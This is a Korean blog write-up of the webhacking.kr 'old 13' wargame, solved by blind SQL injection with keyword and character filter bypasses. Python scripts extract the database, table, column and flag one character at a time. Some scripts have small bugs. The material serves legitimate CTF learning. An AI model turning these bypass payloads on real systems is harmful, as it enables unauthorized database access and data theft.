본문 바로가기

웹해킹/webhacking.kr

webhacking.kr old 13번 문제풀이(Writeup) Blind SQL Injection 고난이도 문제

반응형

webhacking.kr old 13번 문제풀이(Writeup)

old 13번 문제풀이 1

문제를 들어가면 위와 같이 출력된다. 간단하게 코드를 확인해봤다.

 

 

old 13번 문제풀이 2

위에 "제출"칸이 no이고 get메소드로 전달되고, 아래 Auth칸이 password이고 get메소드로 전달된다. 

 

 

 

 

old 13번 문제풀이 3

먼저 간단하게 1을 넣어봤다. result가 1이 나온다. 그리고 2를 넣었을 때는 result가 0이 나온다. 실험을 해보니 #, =, +, -, *, and, &, 공백 등이 필터링되고 있다. 지금까지 풀었던 Blind SQL Injection 문제 중에 좀 어려운 것 같다. 

 

query 문은 대충 예상했을 때

select result from table_1 where no=

이렇게 되면, 데이터베이스 이름이나 컬럼 값까지 다 찾아야 문제를 풀 수 있을 것 같다.

먼저 데이터베이스 길이부터 찾아보자. %연산자가 필터링이 안되고 있기 때문에 %연산자로 길이를 체크해보자.

 

 

 

 

old 13번 문제풀이 4

(0)or(if(length(database())in(2),1,0))

database() 이름이 2 이상일 것으로 생각해서 Burp Suite에서 Brute Force 공격을 통해 30개까지 해서 값을 찾아보려고 했는데 like가 필터링이 된다.  등호(=)는 like, in, insta(id, "admin"), <, > 로 우회가 가능하다. 따라서 in으로 우회했다.

 

 

 

 

 

old 13번 문제풀이 5

database는 7글자이다. 이제 database의 진짜 이름을 찾아보자. 이름을 찾기 위해 ascii()hex()를 사용하려고 하니

둘 다 필터링이 된다. 이번엔 ord()로 찾아야 할 것 같다.

 

 

 

(0)or(if(ord(substr(database(),1,1))in((97),1,0))

database 이름을 알기 위해 만든 쿼리문은 위와 같다. 아까와 비슷하지만, ord를 이용해 ascii코드 값을 알아내고, substr로 문자열을 1개의 문자 단위로 잘라준다. 이후 in()을 통해 ascii값을 비교해서 맞으면 1, 다르면 0을 출력한다. 범위는 소문자와 숫자로 해서 97~122와 48~57이다.

 

import requests
URL = "https://webhacking.kr/challenge/web-10/index.php?no="
cookie = {"PHPSESSID":"rl5rkt9ahm4rn2s140e6hl2dhf"}

db_name =""
for i in range(1,8):
    for j in range(97,122):
        param= f"(0)or(if(ord(substr(database(),{i},1))in({j}),1,0))"
        r = requests.get(URL+param, cookies=cookie)
        if "<td>1</td>" in r.text:
            db_name += chr(j)
            print(db_name)
            break
            
    
    for j in range(48,57):
        param = f"(0)or(if(ord(substr(database(),{i},1))in({j}),1,0))"
        r = requests.get(URL+param, cookies=cookie)
        if "<td>1</td>" in r.text:
            db_name += chr(j)
            print(db_name)
            break

 

old 13번 문제풀이 6

 

 

 

database이름은 chall13이다. 이제 테이블 명을 찾아야 한다. mysql에서 테이블을 조회할 때 SELECT 1 FROM information_schema.tables WHERE table_schema = 'DB명'  AND table_name = '테이블명' -> 테이블의 존재 여부 확인(있으면 1, 없으면 0)으로 사용한다. 근데 쿼리를 구성하다 보니 싱글 쿼터나 더블 쿼터가 작동을 안한다. 따라서 싱글 쿼터를 우회해서 아래와 같이 쿼리를 구성했다.

 

import requests
URL = "https://webhacking.kr/challenge/web-10/index.php?no="
cookie = {"PHPSESSID":"rl5rkt9ahm4rn2s140e6hl2dhf"}

# find table_length 
for i in range(1,30):
    param = "if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in("+str(i)+"),1,0)"
    r = requests.get(URL+param, cookies=cookie)
    print(i)
    if("<td>1</td>" in r.text):
        print("table_len : " + str(i))
        break

old 13번 문제풀이 7

진짜 이 부분에서 쿼리문 구성하려고 몇 시간 동안 삽질했다. 이제 table 이름을 알아야 한다. 여기서부턴 정신력으로 했다. 

 

 

no=if((select(substr(min(if((select(table_schema)in(database())),table_name,null)))),"+str(i)+",1))from(information_schema.tables))in("+str(bin(j))+"),1,0)

먼저 여러 가지 구분을 넣다 보니 테이블이 두 가지라는 것을 알게 되었다. 따라서 min과 max를 했을 때 두 개의 테이블에 대해서 알아낼 수 있었고, 답을 찾기 위해선 min으로 얻어낸 테이블이 옳은 테이블이었다.

 

가장 안쪽 if에서 table_schema == database()일 때, table_name을 반환하고, 아니면 null을 반환한다. 이를 통해 첫 if문이 통과가 되면

 

 

 

no=if((select(substr(min(table_name,"+str(i)+",1)))from(information_schema.tables))in("+str(bin(j))+"),1,0)

위와 같이 쿼리가 간소화된다. 이후 "table_name + str(i)"한 것 중 첫 번째 요소를 가져온다. 이때 가져오게 되는 요소가 우리가 찾고 있는 flag가 있는 테이블이다. 다시 위 내용을 간소화하면

 

 

 

no=if((select(substr(flag_table))from(information_schema.tables))in("+str(bin(j))+"),1,0)

이처럼 된다. 여기부터는 따로 설명 안 해도 이해가 될 것으로 생각이 된다.

 

 

 

import requests
URL = "https://webhacking.kr/challenge/web-10/index.php?no="
cookie = {"PHPSESSID":"rl5rkt9ahm4rn2s140e6hl2dhf"}

# find tabe_name
table_name = ""
for i in range(1,14):
    for j in range(33,128):
        param = "if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),"+str(i)+",1))from(information_schema.tables))in("+str(bin(j))+"),1,0)"
        r = requests.get(URL+param, cookies=cookie)
        if("<td>1</td>" in r.text):
            table_name += chr(j)
            print(table_name)
            break
        print(j)

print("table_name : " + table_name)

old 13번 문제풀이 8

자 이제,  table_name은 FLAG_AB733768이다. 이제 column 길이와 이름을 맞추면 이제 flag를 찾을 수 있을 것으로 보인다. 다시 columns 길이를 찾기 위해 스크립트를 작성했다. 전 단계와 비슷한 방식을 사용해 쿼리를 작성했다.

 

 

 

if((select(length(min(if((select(table_name)in("+table_name1+")),column_name,null))))from(information_schema.columns))in("+str(i)+"),1,0)

 

import requests
URL = "https://webhacking.kr/challenge/web-10/index.php?no="
cookie = {"PHPSESSID":"ginnasfl1nn6gtjpgka71sldb9"}

# find column length
for i in range(1,30):
    table_name1 = "flag_ab733768"
    table_name1 = '0b'+''.join(f'{ord(i):08b}' for i in table_name1)
    param = "if((select(length(min(if((select(table_name)in("+table_name1+")),column_name,null))))from(information_schema.columns))in("+str(i)+"),1,0)"
    r = requests.get(URL + param, cookies=cookie)
    print(i)
    if("<td>1</td>" in r.text):
        print("column_length : " + str(i))
        break

old 13번 문제풀이 9

길이가 똑같이 13이다. 이번엔 columns_name을 알기 위해 쿼리를 구성했고, 위에서 설명한  table_name을 찾는 것과 비슷하게 쿼리를 만들었다.

 

 

if((select(substr(min(if((select(table_name)in("+table_name1+")),column_name,null)),"+str(i)+",1))from(information_schema.columns))in("+str(bin(j))+"),1,0)"

 

 

# find column string
table_name1 = "flag_ab733768"
table_name1 = '0b'+''.join(f'{ord(i):08b}' for i in table_name1)
column_name = ""
for i in range(1,14):
    for j in range(33,128):
        param ="if((select(substr(min(if((select(table_name)in("+table_name1+")),column_name,null)),"+str(i)+",1))from(information_schema.columns))in("+str(bin(j))+"),1,0)"
        r = requests.get(URL + param, cookies=cookie)
        print(j)
        if("<td>1</td>" in r.text):
            column_name += chr(j)
            print(column_name)
            break
print("column_name : " + column_name)

old 13번 문제풀이 10

columns_name은 flag_3a55b31d이었다. 드디어 column_name까지 Blind SQL Injection으로 찾았다. 이젠 진짜 flag를 찾을 시간이다. flag도 length을 구하고 stirng을 찾는다. 이젠 다들 익숙해졌을 쿼리이다.

 

 

if((select(length(max(columns_name)))from(database_name.table_name))in(길이),1,0)

Blind SQL을 이용해 구하는 간단한 쿼리이다. 여기서 column_name은 flag_3a55b31d이고 database_name = chall13, table_name은 flag_ab733768이다. 따라서 아래와 같은 스크립트를 구성했고 string까지 한 번에 구했다.

 

# find flag length
flag_length = ""
for i in range(1,30):
    param="if((select(length(max(flag_3a55b31d)))from(chall13.flag_ab733768))in("+str(i)+"),1,0)"
    r = requests.get(URL+param, cookies=cookie)
    print(i)
    if("<td>1</td>" in r.text):
        flag_length = str(i)
        print("flag length : " + flag_length)
        break

#find flag string
flag_name=""
for i in range(1,flag_length+1):
    for j in range(33,128):
        param="if((select(substr(max(flag_3a55b31d),"+str(i)+",1))from(chall13.flag_ab733768))in("+str(bin(j))+"),1,0)"
        r = requests.get(URL + param, cookies=cookie)
        print(j)
        if("<td>1</td>" in r.text):
            flag_name += chr(j)
            print(flag_name)
            break

old 13번 문제풀이 11

 

 

 

이로써 flag를 찾았다. 진짜 쉽지 않았다. 여기까지 오는 길에 쿼리 구성에 대해서는 정말 어려워서 3일 정도 걸렸고, 많은 것을 배울 수 있었다. 이제 Blind SQL Injection을 위한 스크립트에는 자신이 생겼다. 하지만 아직 쿼리 구성은 어려워서 풀이를 참고했다. 

 

 

old 13번 문제풀이 12

 

 

728x90